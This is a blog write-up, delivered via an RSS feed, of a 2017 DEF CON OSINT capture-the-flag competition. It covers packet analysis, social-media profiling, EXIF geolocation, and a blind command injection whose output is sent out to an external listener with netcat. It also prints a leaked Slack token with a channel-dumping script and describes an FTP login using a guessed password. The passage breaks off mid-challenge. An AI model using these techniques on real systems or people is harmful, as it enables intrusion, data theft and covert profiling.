<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by busecdō on Medium]]></title>
        <description><![CDATA[Stories by busecdō on Medium]]></description>
        <link>https://medium.com/@busecdo?source=rss-68187e8fa414------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*g79vuYzFo6nX7V11M_gGzQ.png</url>
            <title>Stories by busecdō on Medium</title>
            <link>https://medium.com/@busecdo?source=rss-68187e8fa414------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 20:37:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@busecdo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Recon Village CTF Overview]]></title>
            <link>https://medium.com/osintblog/recon-village-ctf-overview-fe8787f3ce7f?source=rss-68187e8fa414------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe8787f3ce7f</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[defcon]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[busecdō]]></dc:creator>
            <pubDate>Thu, 10 Aug 2017 18:29:11 GMT</pubDate>
            <atom:updated>2018-05-17T21:43:25.826Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qfU7YkH64M7-SqplkAb02g.png" /></figure><h3>Overview</h3><p>So Black Hat and DEF CON have come and gone and it was great to catch up with old friends, make new ones, and be surrounded by individuals who share a passion for hacking.</p><p><a href="https://twitter.com/voidmosity">VoidMOSity</a> and I signed up for the <a href="http://reconvillage.org/">Recon Village</a> <a href="https://ctf.reconvillage.org/">CTF</a> (Team RFS) because many of the lines for DEF CON conference talks and events that were of interest to us were <a href="https://twitter.com/L1kvID/status/891056609715036160">long</a> and standing around seemed like a waste of time. We did not plan on this CTF taking up our remaining conference time, which it inevitably did, and we were hooked on the challenges within a couple hours. This was the first year DEF CON had a village for open source intelligence and reconnaissance tradecraft. <strong>The </strong><a href="https://twitter.com/ReconVillage"><strong>organizers</strong></a><strong> who ran the village and CTF did an outstanding job</strong>. Overall, the CTF was well organized, competitive, and challenging.</p><p>Before we dive into the challenge walk-throughs, there were a few lessons learned that we would like to offer others that may be new to CTFs. Treat it like a real penetration test, which means take good notes, screenshots, and save tool output. We documented very little as neither of us thought we would place, let alone do a CTF write-up. We had to go back and re-document most of the challenges, which is why timestamps will be off in some of the tool output and screenshots. Another lesson learned is not participating in a CTF soon enough. This was my first time competing in a CTF and voidMOSity’s second. For those out there that have shied away from participating in CTFs, <strong>do it</strong>! They are a great way to expand skillset, as well as expose yourself to new challenges, which ultimately make you a stronger, more agile penetration tester (or defender, investigator, etc).</p><p>This CTF used Facebook’s open source <a href="https://www.facebook.com/notes/facebook-ctf/facebook-ctf-is-now-open-source/525464774322241/">CTF platform</a>. Neither of us used this before, but we thought it was a fun way to go through a CTF. The competition consisted of 14 jeopardy style challenges ranging in various difficulties. Each challenge was associated with a country and points were broken down like so:</p><ol><li>Algeria: 200</li><li>Libya: 200</li><li>Congo: 100</li><li>United States: 400</li><li>India: 100</li><li>Pakistan: 100</li><li>Australia: 300</li><li>Greenland: 500</li><li>United Kingdom: 100</li><li>Germany: 100</li><li>Brazil: 200</li><li>Bolivia: 200</li><li>Argentina: 100</li><li>Russia: 300</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mAs1Gn2hgEWF95ERq3e3g.png" /><figcaption>Facebook’s CTF game dashboard.</figcaption></figure><p>An additional 5 points were awarded to the teams who were the first to capture a country. Certain challenges allowed participants to request hints; however, points would be taken away if requested. Challenges were designed to test the participant’s technical proficiency in OSINT tradecraft, as well as penetration and web application testing.</p><p>Team RFS was the only team to solve all the challenges, while requesting no hints. Also important to note, if seriously competing, don’t expect much sleep as many of the teams were engaged both day and night. Neither of us got much sleep!</p><p>We have taken the time to document challenges to include applicable screenshots, scripts, and tool output. At the village closing ceremony, there were a number of individuals and teams who wanted to know how some of the challenges were completed. This post should hopefully answer those questions. I have presented in a way that a novice pentester or OSINT investigator should be able to digest and understand.</p><h3>Challenge 1 — Algeria</h3><h4>Overview</h4><p>Points: 200</p><p>Description:</p><blockquote>HR dept was compromised through Phishing and Payroll data was stolen. Our investigation team dumped the pcap traffic for few machines which is attached. Help them find out the twitter [social media] handle of attacker.</blockquote><blockquote>Attachement: Challenge-4_42e6f673622d0b243f7bd8394acc96cb.pcap</blockquote><p>Skills Required: Packet analysis, document metadata analysis, and Twitter OSINT.</p><h4>Walk-Through</h4><p>Because the attack involved phishing, it is not unreasonable to assume there was most likely a maldoc involved in the attack. There are several ways to analyze packet captures and carve out attachments, to include Wireshark and tools like Foremost. One note about Foremost is it will alter the file name when extracting the document, which could impact your investigation if it were a part of a clue or a lead. For those interested, there is a SANS white <a href="https://www.sans.org/reading-room/whitepapers/forensics/extracting-files-network-packet-captures-36562">paper</a> on extracting files from packet captures which details several different ways. We used Wireshark as the process is straight forward, easy, and does not modify contents of the file. The frame we’re interested in is #241 where we see a HTTP GET request from a wget user-agent string for the file OpenMe.docx from 192.168.0.100 on TCP port 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*8PVVInu-dWK3c3DalNKDmg.png" /><figcaption>Victim requesting “OpenMe.docx” via HTTP GET request.</figcaption></figure><p>This is followed by frame #253 where we see the victim successfully receiving the file a from a malicious web server using Python’s SimpleHTTP module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*4TS1QDtaAqPLuqVSR_zjEw.png" /><figcaption>Malicious server sending “OpenMe.docx” to victim.</figcaption></figure><p>Wireshark makes file extraction very easy. Wireshark has an “Export Objects” function, which allows the analyst to export different file types to include DICOM, HTTP, SMB, and TFTP. In this scenario, HTTP is selected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWze-YURCNXXLHImfNOIkQ.png" /><figcaption>Exporting the “OpenMe.docx” via Wireshark’s Export Object functionality.</figcaption></figure><p>Regarding documents, it’s always important to look for potential data leakage via metadata. There are many tools out there to accomplish this task; however, we have found Phil Harvey’s <a href="http://owl.phy.queensu.ca/~phil/exiftool/">ExifTool</a> to consistently work with clean output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*gTumTGl5d288JWry9NIoGg.png" /><figcaption>Metadata analysis using ExifTool.</figcaption></figure><p>Note that if this were a real investigation, we would need to produce the hash checksum, which would be run through resources like Virus Total and Malwr, and, detonating the maldoc in a controlled environment. In this case, it’s not required.</p><p>There are a number items that stick out in the above screenshot. We can see the file was created by HilalSchuurbiers21@gmail.com and last modified by “Sudhanshu Chauhan”, who is one of the individuals that developed the CTF, so we can safely ignore.</p><p>As far as content, the document did not contain any actionable intelligence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*Af4Ol3OsJDVu1-QvxY2Z1w.png" /><figcaption>Screenshot of an opened “OpenMe.docx”.</figcaption></figure><p>The objective for this challenge is to find the Twitter handle of the attacker. Search engines results were reviewed but data was not found to match this particular email address with a Twitter account. In order to match the email address with Twitter handle, Gmail was leveraged to import the email address as a new contact, followed by using Twitter’s “Find friends” functionality, which parses Gmail contacts and matches to a Twitter account. If the contact has registered a Twitter account under the Google contact email address, it will reveal the handle, the name, as well as profile picture and the bio of the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*Jhwbz2EBGuqFaOyhFJXmUQ.png" /><figcaption>Twitter “Find Friends” results.</figcaption></figure><p>The twitter <a href="https://twitter.com/i4mth4tculpri7">account</a> handle i4mth4tculpri7 was the flag.</p><h3>Challenge 2 — Libya</h3><h4>Overview</h4><p>Points: 200</p><p>Description:</p><blockquote>Profile the user identified in challenge 1 and find the building he’s been staying in. What does the building say?</blockquote><p>Skills Required: Twitter, Instagram, and Google Maps OSINT.</p><h4>Walk-Through</h4><p>The Twitter and Instagram accounts for “i4mth4tculpri7” were manually analyzed for any actionable intelligence. There were a number of interesting tweets from June 22 through July 3, 2017, indicating the user may be in Amsterdam.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*sSV3Hi07Lc8oAdZnhcqWDg.png" /><figcaption>Tweets of interest for the account “@i4mth4tculpri7”.</figcaption></figure><p>There was one specific <a href="https://twitter.com/i4mth4tculpri7/status/881974980426186756">tweet</a> that appeared to contain actionable intelligence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*OU4Vf1OeBniqo65AUOOg-w.png" /><figcaption>Primary tweet with actionable intelligence.</figcaption></figure><p>We know the location will be a hotel, the user will be targeting the company “x64corp”, and we have the GPS coordinates “52.3913066,4.8357588”, which can be run through utilities like Google Maps. A quick note on online mapping websites. It’s always a good practice to check multiple sources. I.e., Google Maps, Bing Maps, Mapillary, etc. Michael Bazzell has a great list <a href="https://inteltechniques.com/menu.html">here</a> under “Maps”. This is important because many mapping websites will capture satellite and street view images at different times.</p><p>Before diving into Google Maps, The user’s Instagram account was reviewed for any posts of interests. Again, on July 3, 2017, the user <a href="https://www.instagram.com/p/BWGJ9vnApH7/?taken-by=i4mth4tculpri7">posts</a> another threat against x64Corp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*7ckXNXJAnJFBAJm0KMC1Tg.png" /><figcaption>Instagram post that aligns with intel gathered from Twitter.</figcaption></figure><p>The coordinates “52.3913066,4.8357588” were imported into Google Maps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDrRKV4TrWEdK0ICGtUe6A.png" /><figcaption>Google Maps satellite view of the GPS coordinates.</figcaption></figure><p>Next, the location was analyzed using Google street view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oIXOWEOMvrBn9bitgNjvPA.png" /><figcaption>Google street view imagery of the location of interest.</figcaption></figure><p>We can see that the building “Radarport” shares similar details with the building in the Instagram post, which concludes the challenge. The building name radarport was the flag.</p><h3>Challenge 3— Congo</h3><h4>Overview</h4><p>Points: 100</p><p>Description:</p><blockquote>Paul was System Admin at x64 Corporation. He had an argument with his manager and left the company few days back. Being disappointed, he started leaking sensitive data. He also deleted all the employee records. Help our investigators to find his Phone number.</blockquote><p>Skills Required: Website archive OSINT.</p><h4>Walk-Through</h4><p>The primary <a href="http://www.x64-corp.com/">website</a> for x64Corp , which is hosted on GitHub servers, had contact information for only one Sys Admin, Roger Stone. The Git commit history was reviewed, but no useful information was identified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ya2Vf-so8cyldKP_wu0HxQ.png" /><figcaption>The company website for x64Corp.</figcaption></figure><p><a href="https://archive.org/web/">Wayback Machine</a> was leveraged to view an older <a href="https://web.archive.org/web/20170621192326/http://www.x64-corp.com/">archive</a> of the website from June 21, 2017 and Paul’s phone number was identified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fLDI9uZASoYGLS4U790b_A.png" /></figure><p>The phone number 559811232121278 was the flag.</p><h3>Challenge 4 — United States</h3><h4>Overview</h4><p>Points: 400</p><p>Description:</p><blockquote>Somone leaked company’s server information which lead to a serious hack.</blockquote><blockquote>Hacker left this signature. BrunoRochaAlvesFelipeAraujoGoncalves. And said: Find me by the gist. Remember hackers are anonymous.</blockquote><blockquote>Can you help us find what exact information was leaked?</blockquote><p>Skills Required: GitHub Gist OSINT, and basic web application testing experience.</p><h4>Walk-Through</h4><p>By default, GitHub does not display anonymous posts on Gists and the anon:true parameter must be used. The gist was identified using the exact search: anon:true BrunoRochaAlvesFelipeAraujoGoncalves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEDHxN7HNh_sl-lMTH21zg.png" /><figcaption>Gist post of interest.</figcaption></figure><p>Closer inspection of this gist revealed a possible HTTP service running on IP address “13.56.108.41” on TCP port “8881”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*Xm3VSKwClGeOFAjrYz3U7g.png" /><figcaption>Code snippet containing the IP address.</figcaption></figure><p>Accessing the server on the specified HTTP port showed the following message on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*neiguP9YkGbVImzXqdudGg.png" /><figcaption>Index.php file with message.</figcaption></figure><p>The displayed message was taken as a hint as to the next steps. It appeared the index.php file would be potentially capable of executing commands with the web page mentioning:</p><blockquote>“My name is index. I will wait for your command.”</blockquote><p>The static locations “/home/bob” were initially thought to be the location of the flag; however, later it was revealed these locations were not present on the server.</p><p>Next, several parameters were tested against the index.php file in an attempt to get command execution and then have the output returned on the page. After attempting several variations of possible parameters, such as “command” or “cmd”, resulting in no visible command execution, Burp Suite was then used to take a closer look at the requests.</p><p>An initial request was captured in the Burp Suite proxy using the command GET parameter and was then sent to the intruder module to run subsequent requests.</p><pre>GET /index.php?command=cat%20/etc/passwd HTTP/1.1<br>Host: 13.56.108.41:8881<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>DNT: 1<br>Connection: close<br>Upgrade-Insecure-Requests: 1</pre><p>Running several requests using the parameter command with the Burp intruder module showed a response length of <strong>299 bytes</strong> for each request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6f-7OFwQ_VzljM04zDaEHA.png" /><figcaption>Burp Suite Intruder run using “command” parameter.</figcaption></figure><p>However, after running the Burp intruder module using the parameter cmd, resulted in <strong>298 byte</strong> response lengths for each request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3rmRM7msYLzsNkr0e3ldxg.png" /><figcaption>Burp Suite Intruder run using “cmd” parameter.</figcaption></figure><p>This was an interesting observation and was the team’s realization that the <a href="https://www.owasp.org/index.php/Command_Injection">command execution</a> could be <strong>blind</strong> (I.e., no output being displayed on the web page). To test the theory, team members attempted another request to the server using the parameter cmd with the value being sleep 10. After executing, the web page appeared to sit and process this command for roughly 10 seconds, thus confirming that the command injection was blind.</p><p>Now knowing the command injection was blind, a way to receive the output of various commands was still needed. Attempting to execute commands like “wget” to fetch Internet based files and then watch for hits on the server side, resulted in no success; however, using DNS requests with the nslookup or dig commands did appear to successfully make it out to the Internet. One would think just using the “cat” command on the previously noted static files for the flag locations (/home/bob/flagpart1 and 2) and then just supply the output to the DNS requests might be the best way to exfiltrate the flags. Wrong! After several failed attempts blindly attempting to reveal the contents of these files, a new solution was needed.</p><p>We knew that DNS requests were allowed to egress the server, which would require UDP port 53. A netcat listener on UDP port 53 was then configured on an externally controlled server to receive any incoming traffic from the victim machine. The following command was used on the externally controlled server to accomplish this.</p><pre>nc -unvlp 53</pre><p>Back on the vulnerable web server, commands were attempted to be executed and then have their output sent to the netcat listener. After some further trial and error, the team came up with the following solution using netcat on the victim side.</p><pre>&lt;command to be executed&gt; | nc –vnu &lt;IP address of the external server&gt; 53</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-Nu5Pp0QaNib9bWCpM18w.png" /><figcaption>Example command execution showing a directory listing.</figcaption></figure><p>Now listing the contents of the “flag” directory showed two files, “random.txt” and “useful.txt”. The flag was found contained in useful.txt; surprise, surprise. 400 points in the bag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*POO4aVbgBsV2GgTNYRszIw.png" /><figcaption>Displaying the flag.</figcaption></figure><h3>Challenge 5— India</h3><h4>Overview</h4><p>Points: 100</p><p>Description:</p><blockquote>Dan has shared an IP 54.183.214.103 which he suspect that the hackers used to attack us. He was able to ping it few minutes back, but it’s not responding anymore- can you findout anything which might be helpful</blockquote><p>Skills Required: Passive IP search engine OSINT.</p><h4>Walk-Through</h4><p>There are <a href="https://censys.io/">several</a> <a href="https://www.zoomeye.org/">websites</a> to passively review information about IPs, to include SSL certificate information. <a href="https://www.shodan.io/">Shodan</a> was leveraged to review data on the <a href="https://www.shodan.io/host/54.183.214.103">IP</a> address “54.183.214.103”. According to Shodan, TCP ports 80 and 443 were accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*e97yqEHo8ELZHIZhYIBPUA.png" /><figcaption>Shodan output.</figcaption></figure><p>The HTTP header response that Shodan was able to capture indicates the target enjoys photography and then points to a Flickr account handle bilalkharjilal337, which is the flag for the challenge.</p><p>An additional observation was <a href="https://censys.io/ipv4/54.183.214.103/table#80">Censys</a> captured even more information compared to Shodan. We can see the server also had a directory index available and served server.py, test.py, and test2.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qWga7dC4CkwZD0IT3byNFw.png" /><figcaption>Censys output.</figcaption></figure><h3>Challenge 6— Pakistan</h3><h4>Overview</h4><p>Points: 100</p><p>Description:</p><blockquote>Can you find out the location of the hacker using the IP in challenge 5?</blockquote><p>Skills Required: Flickr OSINT and EXIF photo metadata analysis.</p><h4>Walk-Through</h4><p>The Flickr <a href="https://www.flickr.com/photos/156500765@N07/">account</a> “bilalkharjilal337” was identified through searching the Flickr website, and found to contain only one <a href="https://farm5.staticflickr.com/4144/35590056301_f357a92993_o_d.png">photo</a>. According to user supplied information on the profile, the user’s location was Beirut. Some EXIF information was present, but by default Flickr does not show all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wtzlj5Tn2MgggOnURtK0fA.png" /><figcaption>The user’s Flickr picture of interest.</figcaption></figure><p>The same exiftool used earlier could be leveraged; however, we want to introduce another popular tool: Jeffrey’s Image Metadata <a href="http://exif.regex.info/exif.cgi">Viewer</a>. EXIF data was reviewed and additional metadata was uncovered to include GPS coordinates as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BI5YaG6nG4gY-NH089zduA.png" /><figcaption>Jeffrey’s Image Metadata Viewer output.</figcaption></figure><p>Jeffery’s tool is nice because not only are we getting clean output, but it is automatically mapping any identified GPS coordinates and displaying the location via Google Maps. If OPSEC is of concern, we recommend avoiding the use of online tools like Jeffery’s tool and sticking to exiftool or a similar local offline tool.</p><p>The flag for this challenge is the GPS coordinates.</p><p>Another utility that is worth mentioning is <a href="http://www.getghiro.org/">Ghiro</a>. Ghiro is a photographic forensic tool that will perform the same functionality as exiftool and Jeffery’s tool and much more to include error level analysis to look for photo manipulation.</p><h3>Challenge 7— Australia</h3><h4>Overview</h4><p>Points: 300</p><p>Description:</p><blockquote>Our company dosn’t spend a lot on paid products, and we use a lot of open source / free products. For example we use git for version controlling — <a href="https://github.com/x64Corp">https://github.com/x64Corp</a><br>Since teams don’t use any centralized chat system, it’s difficult to monitor the same. Our CTO suspects that someone is keeping an eye on our discussions. Not sure how.</blockquote><blockquote>Can you help?</blockquote><p>Skills Required: Slack OSINT, Python scripting, and basic knowledge of Slack API.</p><h4>Walk-Through</h4><p>The Github link provided in the challenge was used to begin looking for possible clues about how someone might be able to keep an eye on x64Corp employee discussions. After looking through the various repositories in the provided Github link, it was observed that two individual accounts were a part of the x64Corp organization, “jrianjack” and “malakhshou”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOVGizTCBQZr3fwAirynJQ.png" /><figcaption>x64Corp Github account.</figcaption></figure><p>After visiting these user profiles and searching through the various repositories they had contributed to, an interesting project called <a href="https://github.com/malakhshou/private_server">private_server</a> was identified connected with the “malakshou” account, more specifically this project was noted to contain x64Corp’s internal Slack configuration files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxTrMwuVi4nkw9bkfvw5pw.png" /><figcaption>GitHub repository for “private_server”.</figcaption></figure><p>Taking a look at the appengine_config.py file in the most recent revision included several placeholders for adding Slack API keys, however none of the values were filled out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O1x7iOhSlsBCyvzMRdv9kw.png" /><figcaption>“appengine_config.py”.</figcaption></figure><p>Upon further inspection of this repository, it was observed that several iterations of this file were present in the commit history, which at one point in time did contain a Slack API token within the configuration. Slack would be a good way to monitor internal discussions if the API token was known.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ganq8GfilIqJBA0JI9g7bw.png" /><figcaption>Slack API token leaked in “appengine_config.py”.</figcaption></figure><p>With the Slack API token now known, team members began working a solution to query various aspects of the API using some quick Python code. The <a href="https://pypi.python.org/pypi/slackclient">slackclient</a> Python module was downloaded to perform these tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZywE3cl2khsJ8rSrkH0x1Q.png" /><figcaption>Slackclient python module.</figcaption></figure><p>After running a few initial API calls with the slackclient Python module to gather details about the available channel IDs, the following Python code was used to dump the channel history.</p><pre>import os<br>from slackclient import SlackClient</pre><pre>slack_token = &quot;xoxp-204882332822-203523130257-204081355250-8200a7efb0bec7fbd5894bf09bc7ab08&quot;<br>sc = SlackClient(slack_token)<br>print &quot;Channel list------------------------------------&quot;<br>print sc.api_call(&quot;channels.list&quot;,exclude_archived=0)<br>print &quot;Channel list------------------------------------&quot;<br>print &quot;Channel info------------------------------------&quot;<br>print sc.api_call(&quot;channels.info&quot;,channel=&quot;C60RY9W8N&quot;)<br>print &quot;Channel info------------------------------------&quot;<br>print sc.api_call(&quot;users.list&quot;)<br>print &quot;Channel Messages----------------------------------&quot;<br>print sc.api_call(&quot;channels.history&quot;,channel=&quot;C60RY9W8N&quot;)</pre><p>This Python code was then run, which returned the entire channel history in JSON data where the flag was then identified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8rN9sTicIt_IlgbLI10jQ.png" /><figcaption>Slack channel history data leakage with flag.</figcaption></figure><h3>Challenge 8— Greenland</h3><h4>Overview</h4><p>Points: 500</p><p>Description:</p><blockquote>I own 13.56.108.41. I don’t trust people. <br>I play with malwares. Hack my servers. bwhaha!</blockquote><p>Skills Required: IP search engine OSINT, Pastebin OSINT, Twitter OSINT, Facebook OSINT, basic knowledge of FTP.</p><h4>Walk-Through</h4><p>The Greenland challenge was a lot of fun and one of the more difficult challenges as participants were not given much information other than a starting IP address with no clear indication what the flag could potentially be.</p><p>Shodan was used to passively analyze the <a href="https://www.shodan.io/host/13.56.108.41">host</a>, which provided a good lead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*tYCcvyQ3nLrEDPHUSUZaGg.png" /><figcaption>Shodan output that shows the email address Rafaela.Pereira@x64-corp.com.</figcaption></figure><p>The output shows a web server hosted with a SSL certificate that included the email address “Rafaela.Pereira@x64-corp.com” and what appears to be an internal hostname “prod02.x64-corp.com” in the certificate CommonName; we can conclude this is most likely a production system for x64Corp.</p><p>Michael Bazzell’s paste search <a href="https://inteltechniques.com/menu.html">tool</a>, which uses a Google custom search engine to search 57 known paste sites was leveraged to run the email address “Rafaela.Pereira@x64-corp.com” through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*7l3-tP0GGG-gLZ8jkzhnTw.png" /><figcaption>Search engine results for Michael Bazzell’s Google paste CSE.</figcaption></figure><p>Two results were identified. The first result, which was uploaded July 19, 2017, was of interest as it contained information about the person of interest being doxed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*6mGteMr7X4R9Pj5SAcf2cg.png" /><figcaption>Rafaela Pereira doxed on Pastebin.</figcaption></figure><p>Information included the email address, date of birth, and a Twitter handle. The Twitter <a href="https://twitter.com/i4mrafaela">account</a> was immediately reviewed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EgbicAeJSJNM2qnwI2XevQ.png" /><figcaption>Rafaela Pereira’s Twitter account.</figcaption></figure><p>One takeaway from the Twitter account is the profile picture. The <a href="https://pbs.twimg.com/profile_images/884407825333497856/HdyVxhEd_400x400.jpg">URL</a> was passed through Google’s reverse image search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*qjC4F_orCNOmfz57i5Aq_w.png" /><figcaption>Google reverse image results.</figcaption></figure><p>The profile picture was taken from the 1953 science fiction movie <em>Donovan’s Brain</em>. It’s always important to note connections like this when conducting OSINT investigations as it tells us more about the user.</p><p>One nice feature about Facebook search functionality is it allows the investigator to query via email address. Facebook revealed Rafaela’s profile, which also contained the same profile picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*2FfmEl52bHH45F6Sc3pyQw.png" /><figcaption>Identifying Rafaela’s Facebook profile.</figcaption></figure><p>One important note to point out is the profile contains the nickname <strong>donovan</strong>. A previous tweet had mentioned the following statement, which appears to be of value based on this new information:</p><blockquote>what’s in a nickname…am I right?</blockquote><p>The Facebook <a href="https://www.facebook.com/profile.php?id=100019421580542">profile</a> contained several items of interest on the Timeline. On July 20, 2017, Rafaela mentioned an interest in security with a focus on malware. <a href="https://cuckoosandbox.org/">Cuckoo</a>, which is an automated sandbox application for analyzing malware is specifically mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*dW4tp2QjB4Gu4FdBMOTryA.png" /><figcaption>Facebook post showing an interest in Cuckoo in the Timeline.</figcaption></figure><p>Another interesting post from the same day:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*1cDd5OI4v3pgvbbNzyfutg.png" /><figcaption>Facebook post describing a job monitoring LinkedIn and evidence the data will be posted on Facebook.</figcaption></figure><p>This post and reply will play a major role in the challenge, so be sure to take note. The Spanish translates to:</p><blockquote>“The job is monitoring Linkedin, so I’m going to empty the data here”</blockquote><p>Rafaela has followed up to the post with the reply:</p><blockquote>??42|french|MONDAY|type|EXPECT|were|TEACHER|82??</blockquote><p>Digging deeper into the profile, we can see a malformed or invalid <a href="http://mjeym2u1mmizm2jmndyzntk5ymq5ywniogrkmdnjnmu.getrekt/">URL</a> in the account “Overview” under the “About” section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*xktS7mM4pumYdefOgKqDgw.png" /><figcaption>Malformed URL in the account overview.</figcaption></figure><p>Lastly, the account “Details” section shows a reference to Malwr, which is a hosted Cuckoo solution, as well as a what appears to be a hash and the account nickname “donovan”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*pzjA2c9WcBP3tv7rs4CNzg.png" /><figcaption>Facebook account details.</figcaption></figure><p>All the data outlined above was collected and put through a search engine to see what new leads could be identified, while simultaneously following up with malwr.com. Google search for The malformed URL “MjEyM2U1MmIzM2JmNDYzNTk5YmQ5YWNiOGRkMDNjNmU” revealed a direct link to the Malwr entry. Additionally, the hash “ecdba596e0ba8e3ec0f3147980ed22faf0fcf020” could also have been used for the search term as Google will collect all data from Malwr submissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*92107u0TqTATZ_d8ZfiwpQ.png" /><figcaption>Google search identifying Malwr submission.</figcaption></figure><p>The Malwr submission was a filename called “5.jpg” and was uploaded July 19, 2017, so it aligned with the timing of the Facebook post activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p3Ma-zq6oDdYJ9UF6ffwUA.png" /><figcaption>Reviewing the Malwr submission.</figcaption></figure><p>The “5.jpg” file was downloaded and uploaded to Jeffrey’s Image Metadata Viewer, which successfully extracted all Metadata.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPfTRWZLO-MpA_qqVPs7Xw.png" /><figcaption>Metadata analysis with Jeffery’s tool.</figcaption></figure><p>The metadata file description contained a base64 encoded string, which Jeffery’s tool automatically decoded to “fifty-two.nine.sixty-five.two-twenty-five”, or “52.9.65.225”. Also note the user comment of “eff-tee-pee”. Censys was then leveraged to passively view port information for the IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*Bd26c67wosTn3nHkB8aOyA.png" /><figcaption>IP information via Censys</figcaption></figure><p>Censys confirmed there was an FTP server listening on the port. A FTP client was used to connect to the hosts followed by manual passwords guessing. We assumed the username would be “donovan” based on intel Rafaela has provided. In the end, the password was the string “??42|french|MONDAY|type|EXPECT|were|TEACHER|82??” which was mentioned in a Facebook reply.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ReEnz0Q9rXDN4_v5cM0PWA.png" /><figcaption>Successful access to the FTP service.</figcaption></figure><p>As seen above, a directory listing revealed a file named “flag.txt”, which was downloaded and printed revealing the contents Amidst the mists and coldest frosts he thrusts his fists against the posts and still insists he sees the ghosts.</p><p>This was the last challenge we completed and getting the 500 points put us at the top and with only 1 hour left on the clock!</p><h3>Challenge #9— United Kingdom</h3><h4>Overview</h4><p>Points: 100</p><p>Description:</p><blockquote>Our CTO (zakjohnson_1980) somehow leaked sensitive keys.</blockquote><p>Skills Required: Twitter OSINT, ASCII decoding, and AES decryption.</p><h4>Walk-Through</h4><p>The Twitter <a href="https://twitter.com/zakjohnson_1980">account</a> mentioned in the challenge description was identified and reviewed. One of the first things of interest was the QR code for the Twitter profile picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y5GgzPjT-Y4BmdgFexA5MQ.png" /><figcaption>The Twitter account page for “@zakjohnson_1980”.</figcaption></figure><p>The QR code <a 